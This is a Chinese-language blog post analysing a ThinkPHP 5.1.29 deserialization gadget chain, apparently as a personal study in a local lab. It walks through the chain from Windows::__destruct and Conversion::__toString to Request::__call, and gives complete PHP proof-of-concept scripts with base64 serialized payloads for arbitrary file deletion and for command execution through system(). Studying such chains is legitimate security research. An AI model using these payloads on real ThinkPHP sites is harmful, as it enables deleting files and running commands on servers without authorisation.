Thinkphp5.1.29反序列化链简要分析

环境搭建

参考: https://www.bilibili.com/video/BV1hR4y1K7ys?t=1.2
源码下载:https://gitee.com/yanhuanyu/thinkphp_download

image-20241015105503309
image-20241015105447245
修改HOSTS:

phpstorm:




增加一行:

其他的按照视频中的配置即可

分析

任意文件删除


先自己定义一个入口点:

反序列化入口:

__wakeup
__destruct


这里选的是Windows类的__destruct

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

查看close()函数:

差不多就是调用父类的close()来关闭一些值
查看removeFiles()函数:

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

// 可见传入的$this->files为一个数组,然后通过foreach遍历,用file_exits判断是否存在,存在则用unlink删除掉

查看$thiss->files的定义:

发现它是一个数组
接下来构造poc即可:

<?php

namespace think\process\pipes; // 指定调的是哪个类
class Pipes{

}

class Windows extends Pipes{
    private $files = [
        "D:\\60.phpstudy_64\phpstudy_pro\WWW\www.tp1234.com\\1"
    ];
}
echo base64_encode(serialize(new Windows()));
# TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjUxOiJEOlw2MC5waHBzdHVkeV82NFxwaHBzdHVkeV9wcm9cV1dXXHd3dy50cDEyMzQuY29tXDEiO319


然后给这个public/index.php传参id即可:

运行后就会发现test.txt被删掉了
调试一下:

跟进:

× 断点位置应该在Windows类的__destruct方法中:

跟进:

进到removeFiles内部:

发现成员变量$this->files这个数组确实被赋值了
继续跟进:


到了unlink的下一步发现文件确实已被删除
总的来说,上面的流程就是:

Windows::__destruct -> removeFiles -> file_exits -> unlink

poc

任意文件删除的poc:

namespace think\process\pipes; // 指定调的是哪个类
class Pipes{

}

class Windows extends Pipes{
    private $files = [
        "D:\\60.phpstudy_64\phpstudy_pro\WWW\www.tp1234.com\\1"
    ];
}

namespace think\model\concern;

echo base64_encode(serialize(new Windows()));
# TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjUxOiJEOlw2MC5waHBzdHVkeV82NFxwaHBzdHVkeV9wcm9cV1dXXHd3dy50cDEyMzQuY29tXDEiO319

RCE


我们上面用到了file_exits,而这个函数能够触发__toString方法
查看哪里调用了__toString

这里选用的是Conversion这个类里面的__toString方法,跟进:

调用了toJson方法,跟进:

调用了toArray方法,跟进:

到了这个类就有问题了

这个visible()方法未被声明,如果让$relation为一个类,visible()为这个类中不存在的方法,$name为空的话,就会触发这个类里面的__call方法,如果__call方法里面有可利用的点,就符合需求了。
查找到Request类里面的__call里面调用了call_user_func_array,并且$this->hook可控:

$this->hook[$method] = "assert";
$args = arary("phpinfo")
显然就能执行命令了

Conversion被trait修饰,而不是class修饰:

PHP中的trait关键字:

Trait 是为类似PHP的单继承语言而准备的一种代码复用机制,也就是说它可以被继承,我们只需要找继承它的类替代即可。不过它被继承的形式不是implements,而是use,即use model\concern\Conversion


直接点这个符号即可

跳转到了抽象类Model这里,使用use导入Conversion
由于抽象类不能实例化,所以要找继承Model的类:


找到了Pivot这个类,之后就是实例化这个类

但是我们之后要用到append这个成员变量,显然Pivot这个类里面是没有的,但在Model类里面有

所以Windows::file_exists -> Conversion::__toString
实现代码:

<?php

namespace think; // 这是Model.php前缀
abstract class Model{

}

namespace think\Model; // 这是Pivot类前缀
use think\Model;
class Pivot extends Model{ // class类前面不要用use

}

// 总之就是父类在前面,子类在后面,顺序也是有讲究的
namespace think\process\pipes;
use think\model\Pivot; // 因为后面要实例化Pivot类,所以这里使用use
class Pipes{ // 如果是继承了抽象类的话,要把这个抽象类再声明一下

}
class Windows extends Pipes{
    private $files;
    public function __construct(){
        $this->files = [new Pivot()]; //不能直接new Conversion,Model继承Conversion,而Pivot继承Model,所以实例化Pivot类
        // 2. Windows::file_exists -> Conersion::__toString
    }
}
echo base64_encode(new Windows()); // 1. unserialize -> Windows::__destruct

难点2:怎么实现Conversion::getAttr -> Request::__call

foreach ($this->append as $key => $name) {
  // append = ['moon'=>[]];
  if (is_array($name)) { // []也是数组,只不过是空数组
      // 追加关联对象属性
      $relation = $this->getRelation($key); // 空数组,则其关联对象属性为null,所以$relation = false

      if (!$relation) { // 为真进入
          $relation = $this->getAttr($key);
          $relation->visible($name); // 7 Conversion::getAttr -> Request::__call
      }

显然还要绕过foreach、is_array部分,即让$this->append为数组

不仅如此,也要让$append的值也是数组,即$append为两重数组

__call的触发时机是调用不存在的方法,这里涉及了方法visible,而Request类中显然没有,所以可以利用
只要令$relation为Request类的对象即可

$relation的赋值显然与getRelation和getAttr这两个方法有关
查看实现细节:

public function getRelation($name = null)
{
    if (is_null($name)) {
        return $this->relation;
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    return;
}

含义:
判断$name的值是否为空,为空(没有给getRelation传值)则直接返回relation这个成员变量,不为空并且$this->relation数组中存在以$name为key的元素,则返回relation数组中与$name对应的值

所以如果令$relation = ["moon"=>[]]的话,getRelation里面的$name = "moon",则is_null($name) = false,直接return,这里是return的null
$relation = null,而!$relation = true,所以进入$relation = $this->getAttr($key);,

getAttr()函数内部:

调用了getData函数,进入:

这个elseif是判断$name的这个键是否在$this->data这个数组中

最后的赋值是:$this->data = ['moon'=>new Request()];

是的话就直接返回这个键所对应的值,即返回Request类的对象,即$relation = new Request()
然后触发$relation->visible($name);,从而进入Request对象的__call魔术方法,这时的$name = 'moon';,作用不大


打了断点才知道进入了__call,只使用下面的箭头的话可能会忽略
进入__call后又有if判断array_key_exists($method, $this->hook
所以要使$method$this->hook这个数组的key,由__call参数的定义可知$method = "visible";,后面的赋值:

满足条件,进入array_unshift所在行,它的作用是在数组开头插入一个或多个元素,整个表达式的作用是将当前对象实例$this作为第一个元素添加到 $args 数组的开头

只要用空格保持好间距即可不被渲染

接着进入下面的call_user_func_array

这个函数的作用是把第一个参数作为回调函数调用,把参数数组作为函数的参数传入,返回回调的结果


发现$args 至少是由两个元素组成的数组,无法直接利用,如:

call_user_func_array("system",[new Request(),"calc"]);
但是这样子是执行不了的,所以无法直接利用

现在是考虑调用这个类里面的isAjax函数:

为什么想到了这个函数?
因为这个函数调用了param函数,那么肯定就能触发input函数了,可以回顾下tp 5.0/1.x的命令执行漏洞
所以说以前的漏洞利用对现在的漏洞挖掘可能有帮助!!!!!!

call_user_func_array的进阶使用:

<?php
class Test{
    public function isAjax(){
        echo "isAjax";
    }
    public function __call($method,$args){
        echo "__call";
        call_user_func_array(array($this,"isAjax"),$args);
    }
}
$a = new Test();
$a->visible();

这里当$args 为任意值时,如果第一个参数为数组,数组的第一个元素为类本身,第二个元素为类中函数名,则它的作用就是调用了这个类中的函数

所以赋值:$this->hook = ['visible'=>[$this , 'isAjax']]

接下来怎么赋值呢?那就要从后往前推了:

现在我们的目标是调用call_user_func,即:

$filter = 'system';
$value = 'calc';

关于这个$filter$value的赋值:

进一步查这个input()函数的调用情况:

进一步看param的调用情况:

所以param中filter的赋值:

$this->filter = ['system'];

filterValue中的$value对应input中的$data,对应param中的$this->param,可控了
所以赋值:

 protected $param = 'calc';

进入param函数:

如果不进入这个if判断块里面的话,对后面$data赋值的影响就会少很多
所以赋值:

protected $mergeParam = true;

注意:

断点随时都能下,下了断点就会起作用
左边那个符号直接在断点之间跳跃

边分析可以边在旁边写上注释

很多代码都不用细看,只需要关注那几个关键的点位,具体代码含义可以不用管,顺其自然,如果最终影响了我们的结果,就在那些代码那儿仔细调就行了

注:如果只有return;,那就是返回null

接下来看这个:

如果想要绕过这个:


就让上面提到的config数组里面var_ajax的值为空就行了
即:

protected $config = [
  'var_ajax' => '',
];

感觉对$mergeParam$config的赋值的目的都是绕过某些if代码块

$filter的赋值:

所以:

$this->filter = ['system'];

效果:

然后经过下面的$filter[] = $default ,使得数组$filter这个数组的元素由一个变为两个:

接着执行array_walk_recursive函数,使其进入filterValue这个函数里面

array_walk_recursive:对数组中的每个成员递归地应用用户函数

进入filterValue:

发现这里还有个array_pop,作用是删除数组的最后一个元素,正好与$filter[] = $default相对应,经此处理后,$filters就是只有一个元素的数组了

poc

<?php
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $mergeParam = true;
    protected $param = 'calc'; // 这个也可以是数组
    protected $config = [
        'var_ajax' => '',
    ];
    function __construct(){
        $this->hook = ['visible'=>[$this,'isAjax']];
        $this->filter = ['system'];
    }
}

namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        # append键必须存在,并且与$this->data相同
        $this->append = ['moon'=>['']];
        $this->data = ['moon'=>new Request()];
    }
}

namespace think\model;
use think\model;
class Pivot extends Model{

}
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = []; 
    function __construct(){
        $this->files = [new Pivot()];
    }
}
echo base64_encode(serialize(new Windows()));
# TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJtb29uIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJtb29uIjtPOjEzOiJ0aGlua1xSZXF1ZXN0Ijo1OntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fXM6MTM6IgAqAG1lcmdlUGFyYW0iO2I6MTtzOjg6IgAqAHBhcmFtIjtzOjQ6ImNhbGMiO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=

protected、private修饰的成员变量的赋值最好在__construct

posted @ 2024-10-15 11:03  starme  阅读(27)  评论(0编辑  收藏  举报